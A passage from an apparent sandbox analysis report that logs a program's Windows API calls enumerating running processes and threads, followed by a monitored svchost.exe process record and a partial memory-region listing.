lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0123.089] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0123.090] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0123.090] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0123.091] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0123.113] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.114] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0123.114] CloseHandle (hObject=0x6cc) returned 1 [0123.114] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x6cc [0123.116] Thread32First (hSnapshot=0x6cc, lpte=0x4f1f308) returned 1 [0124.215] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0124.218] Process32FirstW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.219] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0124.219] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0124.220] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.221] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0124.222] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.223] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0124.224] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0124.224] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0124.225] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0124.226] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.227] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.228] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.229] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.229] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.230] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0124.231] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.232] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.233] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0124.234] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.234] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.235] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0124.236] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0124.237] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.238] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.238] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.239] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.240] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0124.241] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0124.242] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0124.242] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0124.243] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0124.244] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0124.245] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0124.246] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0124.246] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0124.247] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0124.248] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0124.249] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0124.250] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0124.251] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0124.251] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0124.252] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0124.253] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0124.254] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0124.255] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0124.256] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0124.256] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0124.257] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.258] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0124.259] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.260] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0124.261] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0124.261] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0124.270] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0124.271] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0124.272] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.272] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0124.273] CloseHandle (hObject=0x56c) returned 1 [0124.273] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x56c [0124.275] Thread32First (hSnapshot=0x56c, lpte=0x4f1f308) returned 1 Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1b53f000" os_pid = "0x2cc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "8" os_parent_pid = "0x568" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000a55e" [0xc000000f], "LOCAL" [0x7] Region: id = 2064 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2065 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2066 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2067 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2068 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2069 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2070 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2071 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2072 start_va = 0xf0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2073 start_va = 0x130000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2074 start_va = 0x150000 end_va = 0x15ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2075 start_va = 0x160000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2076 start_va = 0x1e0000 end_va = 0x1fffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2077 start_va = 0x200000 end_va = 0x200fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 2078 start_va = 0x210000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2079 start_va = 0x290000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 2080 start_va = 0x390000 end_va = 0x44ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 2081 start_va = 0x450000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 2082 start_va = 0x470000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 2083 start_va = 0x570000 end_va = 0x6f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 2084 start_va = 0x700000 end_va = 0x880fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 2085 start_va = 0x890000 end_va = 0xc82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 2086 start_va = 0xc90000 end_va = 0xc90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c90000" filename = "" Region: id = 2087 start_va = 0xca0000 end_va = 0xca0fff entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 2088 start_va = 0xcb0000 end_va = 0xcb0fff entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 2089 start_va = 0xcc0000 end_va = 0xcc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cc0000" filename = "" Region: id = 2090 start_va = 0xcd0000 end_va = 0xcd1fff entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 2091 start_va = 0xce0000 end_va = 0xce0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ce0000" filename = "" Region: id = 2092 start_va = 0xcf0000 end_va = 0xcf2fff entry_point = 0xcf0000 region_type = mapped_file name = "winmgmtr.dll" filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll") Region: id = 2093 start_va = 0xd00000 end_va = 0xd07fff entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 2094 start_va = 0xd10000 end_va = 0xd8ffff entry_point = 